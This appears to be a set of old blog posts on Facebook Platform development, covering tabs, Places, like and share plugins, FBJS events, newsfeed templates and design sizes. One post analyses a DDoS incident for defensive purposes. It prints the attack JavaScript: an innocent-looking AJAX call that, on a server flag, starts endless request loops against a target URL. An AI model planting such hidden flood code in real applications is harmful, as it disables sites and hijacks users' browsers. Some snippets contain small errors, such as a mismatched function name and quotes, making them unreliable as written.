Last week Facebook announced a number of significant changes that are going to impact how companies market on Facebook. Changes to Profile Tabs and Places are the two key topics that marketing teams need to pay close attention to. Developers should be happy about the paring down of FBML and future support of IFRAME profile tabs.

Profile Tabs
Tabs are going away for user profiles. Facebook has been killing off customization for the user profile steadily over the last few years. This summer has been especially brutal, removing boxes, publisher attachments and now tabs. This leaves developers with only one remaining area with which to establish a permanent presence on the profile. Applications can still create an entry on the seldom used info tab, although I would expect this to go away soon as well. Facebook has cited lack of usage as the main reason for the changes. For application and game developers, this is one less area for users to help promote your application.

Additionally, tabs are also being changed for Facebook Pages (Fan Pages). Today begins the transition from the wide format tab to the narrower 520 pixel version. Profile tabs are especially useful for companies wishing to better market their services using a uniquely branded design. Companies can also use Tabs to offering functionality to a Page that isn’t part of the default suite of Facebook tools.

Most designers will likely find the new narrow format limiting. The tab resides as one of three columns instead of two and is surrounded with significantly more of the Facebook color palette. Expect to see a number of changes to major brands over the next few hours.

A potential before and after screenshot of the Nike Just Do It Page clearly illustrates the change.

Before

After

FBML vs. IFRAME
Facebook is finally laying to rest the FBML vs. IFRAME debate. Facebook has announced that new apps will no longer have the option to be FBML based as of the end of this year. Missing from the post is a date when the legacy apps will no longer be supported. Developers should begin transitioning as soon as possible. Expect Facebook to drop support for FBML canvas apps in mid 2011. Also, as part of this transition, Facebook is allowing developers to use IFRAME for profile tabs. This gives developers better control over how they create tabs and access to a full and unrestricted range of tools with which to build tabs, the timeline for this is in “the next few months.” Once the switch is made, developers will be able to enjoy:

• Full JavaScript SDK integration
• Better Metrics (Google Analytics etc)
• Support for unrestricted JavaScript (jQuery etc)
• Rich Media Players (Flash, Silverlight, HTML 5)
• Freedom from creating an “app” or using FBML Profile Tab app

While this is very exciting, a word of caution, expect some changes to the developer guidelines to come at the same time. The transition to IFRAMES from FBML is the most interesting news as a developer, it moves the Facebook Platform one step closer to becoming an OpenSocial container.

Facebook Places
This has far and away received the most coverage as Facebook wades into location with it’s 500 million users. Foursquare and Gowalla, two established players, will of course be impacted and now the rest of the world will see what location is all about. Business should work to claim their “Place” page immediately as people are already likely checking in. Also be sure to read the following articles on Places.

• How to use Facebook Places (allfacebook.com)
• How Marketers and Businesses can start using Facebook Places (insidefacebook.com)
• Foursquare’s Crowley: The Giants are “Generic,” We Are Fun. (techcrunch.com)
• Facebook PLaces API Released (mashable.com)

Businesses need to provide documentation to claim their Place on Facebook. This is likely to combat the number of fake Pages that were created for businesses during the early days of Pages. Keep an eye on Places over the next two months, I expect some significant feature announcements from Facebook as well as the other location providers. If anyone business has been on the fence about dabbling in Social Media, Places is the reason to get started.

Now that you understand how to add the Facebook likes and shares to your site it’s time to start understanding how to leverage these to get cursory metrics and improve the user experience. Facebook provides two tools for you and your visitors to looking at what’s happening on your site right now.

Recommendations Widget

This uses Facebook’s news feed algorithm to help elevate the most interesting content for your visitors. The experience is personalized for each user. However, on smaller sites such as this one, the recommendations are going to be your most valuable content and you can use it to see what is resonating with your audience. The Facebook algorithm selects content based on the number of recent likes and shares and elevates that to the top.

You’ll notice while working with the Facebook configuration tool, that you only need to provide your domain name. There is however a gotcha, if you have multiple sub-domains, you’ll need to create a separate widget for each. Facebook isn’t currently enabling aggregation across domains. The line breaks were added for clarity.

<iframe src="http://www.facebook.com/plugins/recommendations.php?
     site=af-design.com&amp;width=300&amp;height=300&amp;header=true&amp;colorscheme=light&amp;font&amp;border_color" 
     scrolling="no" 
     frameborder="0" 
     style="border:none; overflow:hidden; width:300px; height:300px;" 
     allowTransparency="true"></iframe>

The code is very simple to add to your site and the Facebook configuration tool walks you through the assorted options. The end result should create something like the following tailored to your site.

Activity Feed

This will show your visitors what content their friends are liking and using, back filled with the most recommended content from your site. The main differentiator here is the addition of the like content. This is important because visitors will see what their friends are finding valuable on your site.

<iframe src="http://www.facebook.com/plugins/activity.php?
     site=af-design.com&amp;width=300&amp;height=300&amp;header=true&amp;colorscheme=light&amp;font&amp;border_color" 
     scrolling="no" 
     frameborder="0" 
     style="border:none; overflow:hidden; width:300px; height:300px;" 
     allowTransparency="true"></iframe>

Again, the Facebook configuration tool creates the code quickly and easily for you with a few simple options. The end result should create something like the following tailored to your site.

REAL Analytics

As of yet, Facebook is not providing any hard numbers on how many people like a piece of content unless you create a page or an application. We’ll get into that next time. However, right now, you can indirectly infer the number of shares if you choose to use a share widget with a counter and of course with the recommend widget highlighting your most shared content.

While Facebook is currently getting some negative press over privacy concerns, it is still the second most visited site in the US. An estimated 137 million people visit Facebook each month, that’s about 45% of the US population. Any content producer simply can’t ignore the impact of such a massive audience and should assume that a significant portion their traffic is using Facebook.

The easiest way to start distributing your content on Facebook is to use one of the two iframe or javascript based technologies. These require very little development experience and will have your content shareable in no time.

Share Widget

This method requires only a single line of code to share the current page. This is very handy when you have a large site and you simply want to add an easy way for visitors to share your site with their network. Using the configuration tool, you can customize the look at feel to best suit your design. If you use the “link” method, you can also change the text to read whatever you wish, for example, “Share on Facebook”. You can also add a counter to include total number of times your content has been shared. However, on relatively low traffic sites, you may opt to simply make the sharing process easier. Nobody wants to be the first to share something.

This is the easiest way to get your content into the newsfeed. Facebook will parse the page that is being referenced and set a title, description and any related images automatically leaving the user to press “share” in the popup window that is generated. To use multiple shares on the same page, simply add a “share_url=” parameter to the link. The parameter you add here, should be a unique landing page that a visitor would get the intended content from. This is how AF-Design is generating the buttons beside article titles. The line breaks in the example code below are not necessary and are only included for clarity.

<a name="fb_share" 
      type="icon_link" 
      href="http://www.facebook.com/sharer.php">Share</a>
<script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" 
      type="text/javascript"></script>

Clicking on these shares generates a feed story like the one below.

Once you have completed this, be sure to read the section below on Good Meta Data. Now that you have made it easy for people to share your content, make sure you put your best face forward.

Like Button

The like button is a little bit more involved and may require more effort to enable on your site but it’s well worth the investment in time. The like button not only brings in the content, but if you fully adopt the open graph protocol for marking up your data, it will provide wider distribution in the long term. It’s still uncertain just how wide the additional semantic markup will spread your content, but with Facebook’s mass behind it, it’s certain to go far. It is likely, at some future date, the additional markup will be used by search engines and other content discovery tools.

If you are already using Facebook Connect, you can add a like button with a single line of XFBML. Since the premise of this post is that you need help getting started with your Facebook integration, we’re explaining the iframe approach. Facebook’s like tool provides you with a resource to configure the like button. Options include adding photographs, names and counters. On this site, the like button includes your friends who are engaged with the content, as well as a counter of engagement. You can see it in action, just above the comments below.

Another advantage of the like button, is if enough people “like” something, Facebook tends to elevate it in the newsfeed increasing distribution of your content.

This is how to create a properly escaped URL for each page, using PHP. The subsequent iframe includes the like button which you can then place on any page of your site.

<?php $like_url = urlencode('http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); ?>
<iframe src="http://www.facebook.com/plugins/like.php?href=<?php print $like_url ?>&amp;layout=standard&amp;show_faces=true&amp;width=450&amp;action=like&amp;font&amp;colorscheme=light&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:450px; height:80px;" allowTransparency="true"></iframe>

Remember, regardless of how you create the URL, be sure it is escaped before generating the iframe code. When someone clicks on the like button, it will generate a network update like this on your profile.

Good Meta Data

Even if you choose not to implement one of the above strategies, it’s always important to have good accurate meta-data on your site. Facebook uses this meta-data when people share URL’s from the publisher. Facebook scans your page and provides to the user, whatever content it thinks is best. Providing good accurate meta-data for each page of your site is the best way to set those values.

Facebook supports an extended tag set to allow for direct embedding of audio, video and images directly into the newsfeed. It is likely these tags will change as the Open Graph protocol becomes more standardized, Facebook will continue supporting this for some time afterwards. Don’t use the impending changes as a reason to put off updating your meta-data, getting your information organized now will provide a leg up on your competition later.

AF-Design is proud to announce the launch of Fotosync, a new Facebook application. Fotosync allows users to continue using their current photo sharing solutions while still getting the benefits of sharing on Facebook. Users simply install the application, provide their publicly accessibly username at the services they wish to sync and the application does the rest.

Fotosync currently supports Flickr, Photobucket and Picasa with other services coming soon. These services retain high-resolution photographs, great for cloud backup and a service not provided by Facebook – as well as offering a number of additional services. Fotosync offers a premium version and of course a free version.

Some time ago I had the good fortune to work with some developers on a Facebook application that was underperforming. Through a very robust investigation of the application, it was discovered that a large number of invalid requests were being passed to the server. It was the victim of a Distributed Denial of Service attack utilizing Facebook platform and a popular application to bring down the application.

What Can a Developer Do?

1. Before instantiating ANY code, check your signatures! There are a number of ways to do this, but for starters, check the $_REQUEST['fb_sig_app_id'] and be sure it’s yours!
2. Spot check your log files for any large number of 404 requests to images or other files that are not valid. Google Analytics only reports on what’s working.
3. Log invalid requests and errors. Keep the entire signature as it provides you the evidence needed to report the offending application.
4. You may be able to make a legal case against the perpetuator of the attack if you have sufficient evidence. I am not a lawyer, but you can find one who specializes in technology crimes and talk to them.
5. Contact Facebook, while DDoS is not explicitly prohibited in the Developer Terms of Service it is illegal in many states and compliance with State Laws is explicitly stated.

How Can I Keep My Server Running?

1. Apply #1 above on all your pages. Don’t let the attacker make your machine work any harder than it has to. The second code listing below has a quick and dirty way to stop it in it’s tracks.
2. Any 404 errors that are abnormal should be made into logging pages so you can grab the errors and log them. You can do this with .htaccess or a custom 404 page. Whichever suits your particular situation.
3. Save Bandwidth However Possible – if the request is attacking valid image files, rename the real files and update your code, then pass very small bits of data back to the requesters of the invalid files. Create 0 byte files to replace them using “touch file.png” so you minimize the outbound data.
4. Change servers. Less than ideal, but contact your hosting company and move your app to a different IP and or domain name ASAP.

How Did It Work?

The code from this attack is provided below and was obtained by viewing the source of the application. It essentially creates an endless loop of AJAX requests. The ajax.php file need only return JSON encoded data including a value for “cremate” and “cremate_threads” along with the expected payload to begin the attack which then calls the working code at line 16 in the code below. Once invoked, the client computer continues to expand to it’s internal limits taking over the resources of not only the target’s computer, but potentially the user’s browser as well.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

function someValidAjaxCall(request_data) {
	var ajax = new Ajax();
	ajax.responseType = Ajax.JSON;
	ajax.useLocalProxy = false;
	ajax.ondone = function(data) {
		//
		// Do what the application should appear to do for the user
		//
 
		// Start the DDoS attack
		if (data.cremate && data.cremate_threads) {
			cremate(data.cremate, data.cremate_threads);
		}
	}
	ajax.post('http://255.255.255.255/ajax.php', request_data);
	return false;
}
 
function cremate(url, cremate_threads) {
	for (i=0; i<cremate_threads; i++) {
		sub_cremate(url + i);
	}
}
 
function sub_cremate(url) {
	ajax = new Ajax();
	ajax.responseType = Ajax.RAW;
	ajax.useLocalProxy = false;
	ajax.ondone = function(data) {
		sub_cremate(url);
	}
	ajax.onerror = function() {
		sub_cremate(url);
	}
	ajax.post(url);
}

// Will stop requests from other apps
if($_REQUEST['fb_sig_app_id'] != '1234567890'){ die('Error'); }

FBJS event handling does not follow the default Facebook JavaScript event handling model exactly. Facebook re-writes the event object as a far more limited object, meaning you have access to less information than you would in a true Javascript environment. If you’re looking for information on how browsers handle the onKey* events, quirksmode is a fantastic reference, albeit Windows centric. I ran into this yesterday while looking to improve a user interface. This following illustrates some of the potential gotchas to keep an eye out for.

Test Code

The following code will capture all events related to that form element and send them to the console log. This is going to be a whole lot of information, so note where you can dial it back as needed. For my project I was able to modify the str return value to just include the fields I was concerned with.

<script type="text/javascript">
function captureKeyboardEvent(e){
	var evt = e || window.event;
	var str = evt.type;
	// to make this less verbose - comment out the following 3 lines
	for (var property in evt){
		str += "\n  -" + property + " = " + evt[property];
	}
	console.log(str);
}
</script>
<form>
<input type="text" 
		onKeyPress="logEvent(event);" 
		onKeyDown="logEvent(event);"
		onKeyUp = "logEvent(event);"
		onFocus = "logEvent(event);"
		onBlur = "logEvent(event);"
	/>
</form>

Using Safari on a Mac produces the following output. What struck me as curious was the presence of pageX and pageY. As you can see the keyCode value is returned but not the charCode, timestamp or many other values as illustrated by the same code run without the benefit of the FBML parser.

keydown
 -type = keydown
 -ctrlKey = false
 -keyCode = 65
 -metaKey = false
 -shiftKey = false
 -target = [object Object]
 -pageX = NaN
 -pageY = NaN
 -__priv = 3
 -preventDefault = function () 
{
  var data = fbjs_private.get(this);
    ...
  data.return_value = false;
}
 -stopPropagation = function () 
{
  var event = fbjs_private.get(this).event;
    ...
    }
}

keydown
  -keyLocation = 0
  -ctrlKey = false
  -shiftKey = false
  -keyIdentifier = U+0041
  -altKey = false
  -metaKey = false
  -altGraphKey = false
  -pageY = 0
  -layerY = 0
  -pageX = 0
  -charCode = 0
  -view = [object DOMWindow]
  -which = 65
  -keyCode = 65
  -detail = 0
  -layerX = 0
  -returnValue = true
  -timeStamp = 1235049247482
  -eventPhase = 2
  -target = [object HTMLInputElement]
  -srcElement = [object HTMLInputElement]
  -type = keydown
  -clipboardData = undefined
  -cancelable = true
  -currentTarget = [object HTMLInputElement]
  -bubbles = true
  -cancelBubble = false
  -initKeyboardEvent = function initKeyboardEvent() {
    [native code]
}
  -initUIEvent = function initUIEvent() {
    [native code]
}
  -preventDefault = function preventDefault() {
    [native code]
}
  -initEvent = function initEvent() {
    [native code]
}
  -stopPropagation = function stopPropagation() {
    [native code]
}
  -MOUSEOUT = 8
  -FOCUS = 4096
  -CHANGE = 32768
  -MOUSEMOVE = 16
  -AT_TARGET = 2
  -SELECT = 16384
  -BLUR = 8192
  -KEYUP = 512
  -MOUSEDOWN = 1
  -MOUSEDRAG = 32
  -BUBBLING_PHASE = 3
  -MOUSEUP = 2
  -CAPTURING_PHASE = 1
  -MOUSEOVER = 4
  -CLICK = 64
  -DBLCLICK = 128
  -KEYDOWN = 256
  -KEYPRESS = 1024
  -DRAGDROP = 2048

Why does this matter?

If your creating code that looks at keypress input, there are some differences between browser implementations, what values are stored within the keyCode value and how Facebook passes those events on. In IE, Firefox and Safari, when a key is pressed down a keydown event is fired. When that key is released, a keyup event is fired. Pretty straightforward right? Here’s where it gets complicated.

As pointed out on Quirksmode, browsers handle the repeating event differently. Some place data in the charCode or keyCode values depending on context. Additionally, other modifier keys such as function and control keys are passed as boolean fields. However, we only get keyCode in FBJS. Furthermore, Safari and IE don’t ever raise the repeating keypress event like Firefox does, instead raising the keydown event only! However, Firefox does not raise the keydown event and the keypress event only passes back a keyCode of ’0′.

I really like the date strings in the Facebook Newsfeed. They somehow make the data feel more personal when they relate to me with more natural language “Today”. This in place of callous standardized formatting so many websites present such as “2/10/2009″ or worse yet “02/10/2004″ or even worse still “2009-02-10″. The following code illustrates how you can create a quick and easy formatting of data that’s ordered by date and output it in a meaningful way to your users. You can see an example of this in action on the top stories feed on AutoLists.com as well.

The one flaw with this method as presented here is it is tied to the webserver’s time zone and the developers regionalization preferences. This, however, can easily be extended to match the users time-zone and internationalization needs with a little more effort. In the interest of simplicity I am providing it as simple as possible to illustrate the logic. The dateline class follows the code listing.

// Query for your data that contains a datetime field
 
$date_str = today_yesterday(time());
while($record = $query_result->fetch_assoc()){
	if($date_str != today_yesterday(strtotime($record['date_published']))){
		$date_str = today_yesterday(strtotime($record['date_published']));
		print '<div class="dateline">" . $date_str . "</div>';
	}
 
	// Do whatever logic you need to with each record here...
	printf($record_format, $record['title'], $record['link'], $record['image']);
 
}
 
// Date String Formatting Function
function today_yesterday($t, $f = 'l, F j'){
	if(date("Ymd") == date("Ymd", $t)){
		return "Today";
	} elseif (date("Ymd", time()-(24*60*60)) == date("Ymd",$t)){
		return "Yesterday";
	} else {
		return date($f, $t);
	}
}

div.dateline { border-bottom:1px solid #ccc; color: #ccc; font-size:12pt; }

This last year I’ve become increasingly aware of smallish media companies, one or two employees, that seem to be trying to eek out a living by simply commenting on social media trends, this blog occasionally included. I’m not sure how much of this is due to new companies sprouting up or just my own awareness and understanding of the marketspace. The question for me becomes how many sources can cover the same news? Main stream media often takes a bias slant on stories, covering politics or other topics from a conservative, liberal, centrist, libertarian or whatever slant. The coverage of the social media space is far to narrow and doesn’t often lead to differentiation based on ideologies.

Regardless, I think we’re reaching gluttonous proportions and are in danger of becoming an echo chamber, described by Shel Isreal and Robert Scoble in Naked Conversations. Social media is definitely a huge portion of the future technology scene right now and it deserves coverage – but I think we’re covering it too much. I’m watching multiple blogs cover the same news within a few minutes of each other and that’s the part that scares me.

Consider the following post from Facebook about birthday notifications. It was picked up by Inside Facebook with commentary on how it may impact applications providing similar services as did TechCrunch and allfacebook. The saddest part is that none of them are adding additional value. None of the coverage is ground breaking or adds any real value to the experience.

Want more proof? When the fbFund winners were announced it was picked up by nearly every site covering Facebook news. This is actually news worthy, thousands of dollars are being given away! However, with coverage like FaceReviews near regurgitation of Facebook’s announcement and list of winners, I’d say we’re in danger of becoming spam sites. Thankfully some sites are actually reporting on the apps and adding value to the conversation.

I suspect we’ll be seeing consolidation of these blogs soon as those sites that add value stay afloat in troubling times and the others either switch focus to their real strengths or wither and die.

The newsfeed is the single most important touchpoint for any application within the current Facebook design. Facebook has been working very hard to combat spam over the last 12 months. They have reduced the number of invitations, notifications and messages applications can send per day. Additionally, they now monitor the recipient responses to the communication, and create a quality rating based on it. That said, the newsfeed is still the primary source where most people will first interact with an application. As such, it is monumentally important that all outward communications from your application, email, invites, and feed items, are built carefully and intentionally.

This post is a followup to an earlier post covering the key design components of an application. While most of these items are language specific, there are some opportunities for creativity and these areas should be familiar to the designers as well as the marketers and developers.

Newsfeed Stories

There are three flavors of newsfeed stories, one line, short and full. The end user ultimately has the final say on which (if any) of the article types your application can publish. Remember, keep the user experience clean, neat and consistent with Facebook. Newsfeed articles are generated using dynamic variable population of a pre-defined template. For example, a story might look like “{actor} rated <i>{movie}</i> {stars} stars.” At runtime, your developer will pass values for these variables and the final story might look something like, “Erik rated <i>Lakeview Terrace</i> 3 stars.” This templated format is carried through the newsfeed with the exception of the “General Body” field, which is only present in the short story. Facebook provides a very robust developer console which includes the Feed Preview Console. If you haven’t already done so, I recommend installing the developer application so you can access these tools.

One line

Just like the name implies, this is as short as it gets. Links are permitted in the title. The only graphic is the 16 x 16 pixel graphic assigned to the application.

Newsfeed Item - One Line

Key Features:

• Aggregates to newsfeed
• Least intrusive

Short

Short stories begin providing some real flexibility. Up to four 75 x 75 pixel images can be included (scaled dynamically by Facebook as needed) and linked individually. Additionally, more detailed text can be passed. Additionally, a third area called “general body” can also be passed. Some limited HTML is allowed within the templated portion of the story, but not within the “general body.”

Newsfeed Short Story from Honesty Box

Key Features:

• Up to 4 optional images (defined as parameters)
• Freeform Text Block called “General Body”
• No images, tables, or forms within template
• Bold, Italics, Links are allowed within the template
• Aggregate to the newsfeed

Full

As the name implies, Full stories are just that, full. Not only can they include HTML, they can even include form elements! This allows for a dynamic newsfeed item. While your initial reaction may be to jump in and make everything Full stories, they will not aggregate to the main newsfeed and are only useful within the mini-feed.

Newsfeed Full Story from Honesty Box

Key Features:

• Forms
• Images
• Tables
• Does not aggregate

Appended Test Text

This is the text that was appended to the default feed items to see which HTML components were valid. The screenshot shows the output of the default settings. I also added an image to the images array. I noticed that the short story images don’t always load in the console, however, referencing external images seems to work fine.

Newsfeed Template Test Console

<p>Paragraph text</p>
 
<b>Bold Text</b>
<i>Italic Text</i>
 
<a href="http://www.google.com">Link Text</a>
 
<h1>Testing H1</h1>
<h2>Testing H2</h2>
<h3>Testing H3</h3>
 
<table border="1">
<tr><td>c1</td><td>c2</td></tr>
<tr><td>c3</td><td>c4</td></tr>
</table>
 
<img src="http://www.google.com/intl/en_ALL/images/logo.gif" />

Invitations/Requests

Some have proclaimed the application invite dead as a viral tool. While they certainly less effective than the early days of the platform, they are still very much an integral component of a marketing strategy. Facebook prohibits any application from incentivizing users to send invitations so forget that. Also off limits are forced invites, so don’t even consider putting the invite screen in your normal application flow.

Application Request

Aggregate News

Facebook’s algorithms attempt to merge stories together whenever possible for an individuals newsfeed. In this way, highly popular applications will have reduced numbers of entries within a single newsfeed, instead referencing multiple friends together, making the experience much better for the end user. Read all about the feed.registerTemplateBundle on the developer for more technical details and tips on creating stories that will aggregate well.

Aggregation Item From Newsfeed

In the example above, 2 of my friends have become fans of Whole Foods. Earlier in the day, I saw only one name, so the copy read, “xxxxx xxxxx became a fan of Whole Foods Market”. Now that a second friend has become a fan, the text has changed to “xxxxx xxxxx and xxxxx xxxxx became fans of Whole Foods Market”. This is story aggregation at it’s best. Instead of generating two items with very little difference, Facebook has created a single item. And if another friend joins, it will eventually change to reference a couple of names and a number of other friends who did the same.

Notifications

Once a user has permitted your application to interact with it, notifications and emails from the application become an option. There are two different notification types. First users can send notifications to other users. These are a common way to engage users with the application. There’s no design elements related to this item, but the 16 x 16 icon will appear along side the messaging. Second, which is new, allows applications to send notifications to users without pre-pending another users name. The screenshots below show an example of each from the Are You Interested? application. The first item is a user to user notification, and the second item is an application to user item. Notifications appear in the footer dialog (if enabled) as well as on the general notifications page.

Notifications

Notifications Dialog

Emails

Facebook permits applications to send email directly to users email account. The application does not have access to the email address and Facebook includes some “unsubscribe” language in the email. Depending on how “spammy” the messages are deemed to be, this link may be at the top or bottom of the message. Application “developers” have access to the applications current “spamminess” level within the Facebook tools.

The developer wiki entry on notifications.sendEmail has the most up to date listing of what HTML is permitted in an email body. As of this writing, it is limited to P, BR, A, B, I, H1, HR, and CENTER.

Application Email Test

Facebook’s information for developers is thorough and easy to navigate, but for designers, it’s a bit more challenging. This guide walks you through the main touch points for the new Facebook design and the visual integration points for applications. This is not a review of all application touchpoints, but rather a graphical designers guide for what spaces and bits they’ll need to design when working on Facebook applications. Newsfeed items were intentionally left from this because I feel their importance would be minimized here and they warrant their own post.

At the very bottom of this post is a quick checklist you can use when designing for Facebook to ensure you capture all the necessary surfaces you’ll need to design for.

Profile Presence

After the newsfeed, the most prominent location users would see your application has historically been the profile. There are three forms of “widgets” or boxes, a tab and the publisher. All of which have some interesting uses.

Publisher

The publisher may be the most revolutionary item from the old facebook style. Designers won’t be doing much here beyond creating a facebook like UI for the application. For those unfamiliar with it’s use, the publisher allows content publication directly from the profile page. Much like updating your status, the publisher can update your photos, video and so much more. The publisher is 520 pixels wide and writes directly to the persons newsfeed.

Profile Publisher

Wall/Info Tabs

This box persists for both the wall and profile tabs of the new design. The box is very small, only 184 pixels wide, and very low on the pages. Note that this size matches the “narrow” box from the boxes tab. It should be noted that the user has to explicitly permit an application to create a profile box.

Wall and Info Box

Boxes Tab

Boxes are the old profile items. They come in two sizes, narrow at 184 pixels and wide at 380 pixels. This tab holds the boxes added by applications by users from the recently phased out facebook profile design. The user can manipulate the placement of the boxes within the tab, including choosing narrow or wide versions. Much like the Wall/Info tabs, users must explicitly allow applications to publish these boxes for all new applications.

Profile Boxes Tab

Named Application Tab

Another exciting change for the profile is the named tab. Unlike the other boxes, the tab actually pulls data from the application in real time. This provides the user with a more dynamic and interactive experience. A word of caution though, the user is responsible for creating the tab themselves. While the process is reasonably simple, it may benefit developers to provide a quick “how to” on adding the tab. Another nice feature of the tab is letting the users get a feel for the application in a controlled way.

Named Application Tab

Application Presence

The application is key for distributing your brand and where your users will spent most of their time. This is not the gateway in – but how they’ll experience you once they begin interacting with the brand.

Application Directory

Each day the application directory becomes less and less important for users to discover new apps. However, it still exists and the 75px x 75px icon is required.

Application Directory

About Application

The about page is a public facing (read indexable by Google and other search engines) page that describes your application, is commonly used for feedback and support issues as well as being referenced by every page in the footer as the go to place if something doesn’t work. This page is important – don’t underestimate it. The critical component here is a large 396 pixel graphic that can be placed at the top of the page. The intended use is as a screenshot, however, can include anything you think will help convey the purpose of your application to a perspective user. Also notice the 16 x 16 pixel icon which is used throughout the site as a “bullet” for your application is used here.

About Application Page

Application Canvas

While last on this list, this is certainly not the least important item. The new design opens up a nice wide 720 pixels to developers which provides ample space to present information in a far less restrictive way. This design can be a re-hash of the profile tab, if appropriate for your application. Keeping the two designs the same certainly helps in building your brand.

Application Canvas

Advertising

Facebook prohibits advertising of any kind, even plugs for your other applications, anywhere but on the canvas page. When designing the assorted boxes, keep this in mind.

Designers Checklist

When designing facebook applications, this list is a nice place to start when figuring out just what components you need to create. As always, use your best judgement with the height of variable height boxes. Your user will not keep the box if they are inconsistent with the Facebook design or use more space than they feel appropriate. Always place the user experience first.

• 16px x 16px – gif
• 75px x 75px – png, jpg or gif
• 396px wide application about graphic – png, jpg or gif
• 720px wide application canvas – html, fbjs, css and flash
• 184px wide profile box – html, fbjs, css and flash
• 380px wide profile box – html, fbjs, css and flash
• 520px wide profile publisher – html, fbjs, css
• 720px wide profile application tab – html, fbjs, css and flash